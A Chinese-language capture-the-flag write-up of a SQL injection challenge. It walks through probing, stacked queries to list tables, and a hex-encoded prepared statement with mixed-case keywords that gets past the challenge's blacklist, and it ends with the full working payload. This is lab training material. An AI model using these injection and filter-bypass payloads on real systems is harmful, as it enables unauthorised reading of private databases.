1. 整体流程
- 常规步骤查到黑名单
- 堆叠注入
- prepare预处理语句查询flag
2. 题目分析
- 常规sql查询如下:
1'
1' or 1=1#
1' order by 1#
1' union select 1,2#
在使用1' union select 1,2#
查询时发现返回结果为: return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
发现过滤了大多数字符
- 此时想到使用堆叠注入
1';show databases;#
1';show tables;#
1';show columns from `1919810931114514`;#
在1919810931114514
表看到了flag字段
- 然后使用预处理语句
set @a='select * from `1919810931114514`';
prepare stmt1 from @a;
execute stmt1;
由于select被过滤,所以考虑使用16进制绕过,即set @a=0x73656C656374202A2066726F6D20603139313938313039333131313435313460;
发现返回结果为: strstr($inject, "set") && strstr($inject, "prepare")
set跟prepare被strstr函数过滤了。可以使用大小写绕过
最终payload: SET @a=0x73656C656374202A2066726F6D20603139313938313039333131313435313460;PREPARE stmt1 from @a;execute stmt1;